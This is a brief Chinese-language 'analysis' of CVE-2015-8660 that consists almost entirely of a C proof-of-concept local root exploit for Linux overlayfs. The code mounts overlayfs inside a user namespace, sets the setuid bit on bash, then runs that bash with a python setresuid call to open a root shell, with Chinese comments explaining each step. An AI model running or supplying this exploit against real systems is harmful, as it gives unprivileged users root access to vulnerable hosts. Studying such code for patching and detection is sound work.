CVE-2015-8660分析

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sched.h>
#include<linux/sched.h>
#include<signal.h>
#include<sys/mount.h>
#include<stdlib.h>
#include<sys/stat.h>

static char child_stack[1024*1024];
static int child_exec(void *stuff)
{
	printf("clone a user namespace\n");       
	mkdir("/tmp/w",0777);
	mkdir("/tmp/u",0777);
	mkdir("/tmp/o",0777);
	printf("mount overlayfs in user namespace:\n");
	if(mount("overlay","/tmp/o","overlay",MS_MGC_VAL,"lowerdir=/bin,upperdir=/tmp/u,workdir=/tmp/w")!=0)   //挂载overlay文件系统，带了个magic_number，无关紧要
	{
		printf("mount failed...\n");
		fprintf(stderr,"mount failed...\n");
	}
	else
	{
		printf("mount sucess!!\n");
	}
	chmod("/tmp/w/work",0777);
	chdir("/tmp/o"); //改变当前工作目录
	chmod("bash",04755);  //bash的suid置位
	chdir("/");//到根目录去
	umount("/tmp/o");//取消挂载，此时namspce外的bash的suid也被置位
	return 0;
}

int main(int argc,char *argv[])
{
	int status;
	pid_t init;
	int clone_flags = CLONE_NEWNS |CLONE_NEWUTS | CLONE_NEWPID| CLONE_NEWNET |CLONE_NEWIPC | SIGCHLD;//创建所有namespace
	struct stat s;
	if((init = fork()) == 0)
	{
		if(unshare(CLONE_NEWUSER)!=0)
		{
			printf("failed to create new user namespase\n");
		}
		pid_t pid = clone(child_exec,child_stack + (1024*1024),clone_flags,NULL);//创建子进程
		if(pid < 0)
		{
			printf("error\n");
			fprintf(stderr,"failed to create new mount namespace\n");
			exit(-1);
		}
		waitpid(pid,&status,0);
                printf("now return to parent process\n");
 		return 0;
	}	
       	usleep(30000);//挂起主进程
 	wait(NULL);//等待子进程返回
 	stat("/tmp/u/bash",&s);//获取bash文件信息
 	printf("get the s.st_mode is %o\n",s.st_mode);
	if(s.st_mode == 0x89ed)  //校验bash的suid是否被置位
	{
		printf("successfully set the bash‘s suid as below shown:\n");
                system("ls -al /tmp/u/ | grep bash");
                printf("\n");
                printf("\n");
		execl("/tmp/u/bash","bash","-p","-c","python -c "import os;os.setresuid(0,0,0);os.execl(‘/bin/bash‘,‘bash‘);"",NULL);//用python另起shell，设置uid,gid,eid值，获取root权限              
	}
	else
	{
		printf("execl error!!\n");
	}
        return 0;
}